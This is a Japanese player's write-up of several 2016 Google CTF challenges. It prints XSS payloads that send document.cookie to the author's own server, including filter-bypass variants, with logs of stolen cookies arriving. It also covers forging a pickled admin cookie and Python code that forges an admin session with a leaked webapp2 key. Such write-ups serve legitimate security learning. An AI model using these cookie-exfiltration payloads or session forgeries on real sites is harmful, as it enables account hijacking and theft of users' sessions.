Google Capture The Flag writeup

チーム「yharima」として Google Capture The Flag に参加していました。

まずは、難易度が高い問題が多いと感じました。48時間の競技でしたが、24時間経っても誰も解いていない問題もそれなりにありました。最後まで誰も解いていない問題もありました。

また、ほとんどの問題では、TLSが有効になっていたのも印象的でした。問題の大筋には関係のないところでTLSを使っているだけでも、地味に面倒さが増える要因になったりしました。こういったところまで耐えられるかといったことを想定しているようです。

結果は145位でした。

その中で自分がしたことについて write up を書きます。

No Big Deal

やたらとでかいpcapファイルが与えられたので、とりあえず strings コマンドにかけてみると何やらBASE64らしい文字列が。base64 -dしてみるとフラグが得られた。「CTF{some_leaks_are_good_leaks_}」

Spotted Quoll

接続してCookieの中身を見てみると、何やらbase64エンコードされた文字列が。デコードしてみると以下のようなものが入っている。

(dp1
S'python'
p2
S'pickles'
p3
sS'subtle'
p4
S'hint'
p5
sS'user'
p6
Ns.

pythonとpicklesが気になるので調べてみるとシリアライズの一つの方法だったので、 Python で読み込んでユーザーのところにadminと入れたものを作り、 Cookie に押し戻すと /admin につながるようになった。

Wallowing Wallabies – Part One

青画面に等幅のシステムっぽいフォントという、BIOSっぽい画面が表示されていた。

ほかの問題の問題文で、 /robots.txt を見ることを示唆するものがあったので、この問題でも /robots.txt を見てみると、

User-agent: *
Disallow: /deep-blue-sea/
Disallow: /deep-blue-sea/team/
# Yes, these are alphabet puns :)
Disallow: /deep-blue-sea/team/characters
Disallow: /deep-blue-sea/team/paragraphs
Disallow: /deep-blue-sea/team/lines
Disallow: /deep-blue-sea/team/runes
Disallow: /deep-blue-sea/team/vendors

色々と指定されている。片っ端から見ていくと、 /deep-blue-sea/team/vendors に何やら問い合わせフォームのようなものがある(vendorに対して権限を要求するメッセージフォーム)。

試してみるとエスケープされずに HTML に表示されるが、それ以上どうするの?となった。しばらくすると<script>が含まれているときに<script src=という入力を期待している旨が表示され、また問題文にも XSS で Cookie を盗む問題である旨が追記されたので、 <script src=”https://nhiroki.net/waiha.js”></script> ということをして、その js には

documet.location = "https://nhiroki.net/hoge/" + document.cookie

というようなことを書くと、 Cookie が送られてきた。(当初はhttpで試したが、もともとhttpsで繋いでいるためかhttpだと手元のブラウザからすらアクセスがこなかった)

146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /waiha.js HTTP/1.1" 200 66 "https://ctf-wallowing-wallabies.appspot.com/under-the-sea/application/31337" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"
146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /fuga/green-mountains=eyJub25jZSI6IjFiYmM5OGM2YjVjOGI1YTIiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MTk5Mjg3OH0=%7C1461992875%7C37a31eb01981bca6f77cbc4cdcea14930f140db7 HTTP/1.1" 404 395 "https://ctf-wallowing-wallabies.appspot.com/under-the-sea/application/31337" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"
146.148.94.130 - - [30/Apr/2016:14:07:56 +0900] "GET /favicon.ico HTTP/1.1" 200 11270 "https://nhiroki.net/fuga/green-mountains=eyJub25jZSI6IjFiYmM5OGM2YjVjOGI1YTIiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MTk5Mjg3OH0=%7C1461992875%7C37a31eb01981bca6f77cbc4cdcea14930f140db7" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"

送られてきた Cookie を再現して、もともといた vendor の URL に繋ぐとフラグ。

Wallowing Wallabies – Part Two

vendor の URL に繋いだとき、フラグのほかにメッセージ一覧があり、メッセージ一覧を開くとそれに返信するフォームが表示される。先ほどと同じ文字列を入力すると **ANTI**HACKER** に置換される。

src= や onload= も **ANTI**HACKER** に置換され、 <script src=”hoge”></script> は全体が **ANTI**HACKER** になった。

特に script は長い文字列が置換されるので、連結した文字列でなければいいのでは、ということで、

<script
src
=
"https://nhiroki.net/waiha"
>
</script
>

と入力すると通って、 Cookie がサーバに送られてきた(なお、.jsも**ANTI**HACKER**された)

ただ、どこのページにフラグがあるのかよくわからないので一旦チームのチャットに張ったところ、robots.txt のうち一つがつながってフラグが書いてあることをチームのメンバーが見つけてくれた。(自分でもそれは試したつもりだったのだけど、たいぽしていたらしい)

Wallowing Wallabies – Part Three

結構順当にスクリプトが通るが、 // が / になるのと、ピリオドが通らない。

チャットで逐一しゃべっていたら

> document.location ってdocument[“location”]でいけるよね

という風な指摘が来たので、

<script>document["location"]="https:///2634521196/hoge" + document["cookie"];</script>

とすると Cookie が送られてきた。また robots.txt のリンクを試すか、と思いながらとりあえずチームのチャットにアクセスログを張ったところ、瞬時につながっているページを見つけてくれた。

なおそのあと確認したところ、document[“location”] を使わなくとも

<script src="https:///2634521196/waiha"></script>

でも問題なかった。

Purple Wombats

繋ぐとログイン画面に行けるが、 “Undergoing emergency maintenance, sorry for any inconvenience caused” と言われる。

ここで、ソースコードに <!– If you’re interested in our source, please visit our github.com/mannequin-moments/ –> と書いてあるのに気づいた。(ほかの問題にも貼ってあって、それを見たときに関係ないと思っていたが、その時に見た画像がこの問題のサーバのトップページに貼ってあった画像と同じなのを思い出した)。

ソースコードを見るとセッション変数をCookieに暗号化だか電子署名だかなんだかして保存するタイプで、 webapp2 というライブラリを使っているようで、その暗号鍵まで GitHub に貼ってあったので、見ながら適当にすぐにログインできるコードを再現。

import jinja2
import json
import logging

import webapp2
from webapp2_extras import sessions
from paste import httpserver

config = {
        'webapp2_extras.sessions': {
            'secret_key': 'a793134b-c2c5-4cbf-973b-64ff7eea863a',
            'name': 'mannequin-moments',
        }
}
class RequestHandler(webapp2.RequestHandler):
    """Base request handler for Mannequin Moments."""
    jinja_env = jinja2.Environment(
            loader=jinja2.FileSystemLoader('templates')
            )

    def dispatch(self):
        self._session_store = sessions.get_store(request=self.request)

        try:
            super(RequestHandler, self).dispatch()
        finally:
            self._session_store.save_sessions(self.response)

    @webapp2.cached_property
    def session(self):
        return self._session_store.get_session()

    def render(self, tpl_name, **args):
        tmpl = self.jinja_env.get_template(tpl_name)
        args['logged_in'] = True if self.session.get('user') else False
        self.response.out.write(tmpl.render(**args))

class EasyHandler(RequestHandler):
    def get(self):
            self.session['user']='admin'
            return webapp2.Response('aaa')

app = webapp2.WSGIApplication([
    webapp2.Route('/', EasyHandler)
], config=config)

httpserver.serve(app,host='127.0.0.1',port='8080')

起動して繋いで降ってきたクッキーをブラウザに貼りつけて、ソースコードを見る限り /flags にフラグがありそうだったので繋いでみるとフラグが出てきた。

Opabina Regalis – Token Fetch

HTTP のプロトコルを独自プロトコルに書き換えたサーバに対して、接続してトークンを取得する問題。独自プロトコルについても記述があり、 Protocol Buffer をベースとしている。

もともと張られていたスキーマでの Protocol Buffer 自体はチームの他のメンバーが書いていたが、うまくいかないと言っていたのでそれをコピペして手元でいろいろ試してみたところ、先頭4バイトに明らかに32ビットの何かの整数が張られていることに気付く。そこで、

> The network protocol uses a 32-bit little endian integer representing the length of the marshalled protocol buffer, followed by the marshalled protocol buffer.

という記述があったことを思い出して、先頭に32ビットでペイロードの長さを書くようにするとサーバからレスポンスが返ってくるようになった。適当なURLだと /token に繋いでみたら、みたいなメッセージが返ってきたので、 /token に繋ぐとメッセージが返ってくる。もちろん Protocol Buffer で返ってくるが、こちらはパースまでしなくとも strings してコピペすれば問題なかった。

[nhirokinet@ubuntu ~/.../opabina 21:43:26]$ sh -c 'sleep 1; cat send.bin' | openssl s_client -quiet -connect ssl-added-and-removed-here.ctfcompetition.com:1876  | od -c
depth=1 C = US, O = Google Inc, CN = Google Internet Authority G2
verify error:num=20:unable to get local issuer certificate
verify return:0
0000000   2  \0  \0  \0  \n   0  \b  \0 022  \n   /   n   o   t   -   t
0000020   o   k   e   n 032      \n  \n   U   s   e   r   -   A   g   e
0000040   n   t 022 022   o   p   a   b   i   n   a   -   r   e   g   a
0000060   l   i   s   .   g   o   V  \0  \0  \0 022   T  \b 310 001 022
0000100 034  \n 006   S   e   r   v   e   r 022 022   o   p   a   b   i
0000120   n   a   -   r   e   g   a   l   i   s   .   g   o 032   1   C
0000140   T   F   {   W   h   y   D   i   d   T   h   e   T   o   m   a
0000160   t   o   B   l   u   s   h   .   .   .   I   t   S   a   w   T
0000200   h   e   S   a   l   a   d   D   r   e   s   s   i   n   g   }
^C
[nhirokinet@ubuntu ~/.../opabina 21:43:33]$
package main; 
import java.io.FileInputStream;
import java.io.FileOutputStream;

import main.ExchangeOuterClass;

public class Main {
	public static void main(String[] args) throws Exception {
		ExchangeOuterClass.Exchange.Header header = ExchangeOuterClass.Exchange.Header.newBuilder()
				.setKey("Accept-Encoding").setValue("*").build();
		ExchangeOuterClass.Exchange.Request req = ExchangeOuterClass.Exchange.Request.newBuilder()
				.setVer(ExchangeOuterClass.Exchange.VerbType.GET)
				.setUri("/token")
				.addHeaders(header)
				.build();
		ExchangeOuterClass.Exchange exchange = ExchangeOuterClass.Exchange.newBuilder()
				.setRequest(req)
				.build();
		
		byte[] buffer = exchange.toByteArray();
		FileOutputStream fileOutStm = new FileOutputStream("./send.bin");
		byte[] lenbuf = new byte[4];
		lenbuf[0]=(byte)buffer.length;
		lenbuf[1]=0;
		lenbuf[2]=0;
		lenbuf[3]=0;
		fileOutStm.write(lenbuf);
		fileOutStm.write(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
/*
		ExchangeOuterClass.Exchange.Header header = ExchangeOuterClass.Exchange.Header.newBuilder()
				.setKey("Location").setValue("/token").build();
		ExchangeOuterClass.Exchange.Reply res = ExchangeOuterClass.Exchange.Reply.newBuilder()
				.setStatus(302)
				.addHeaders(header)
				.build();
		ExchangeOuterClass.Exchange exchange = ExchangeOuterClass.Exchange.newBuilder()
				.setReply(res)
				.build();
		
		byte[] buffer = exchange.toByteArray();
		FileOutputStream fileOutStm = new FileOutputStream("./send.bin");
		byte[] lenbuf = new byte[4];
		lenbuf[0]=(byte)buffer.length;
		lenbuf[1]=0;
		lenbuf[2]=0;
		lenbuf[3]=0;
		fileOutStm.write(lenbuf);
		fileOutStm.write(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
*/

		buffer=new byte[50];
		
		FileInputStream fileInStm = new FileInputStream("./recv.bin");
		fileInStm.read(buffer);
		exchange = ExchangeOuterClass.Exchange.parseFrom(buffer);
		System.out.println(exchange);
	}
}

(追記)チームのメンバーの write up へのリンクを貼っておきます。

Google CTF writeup – yuta1024’s diary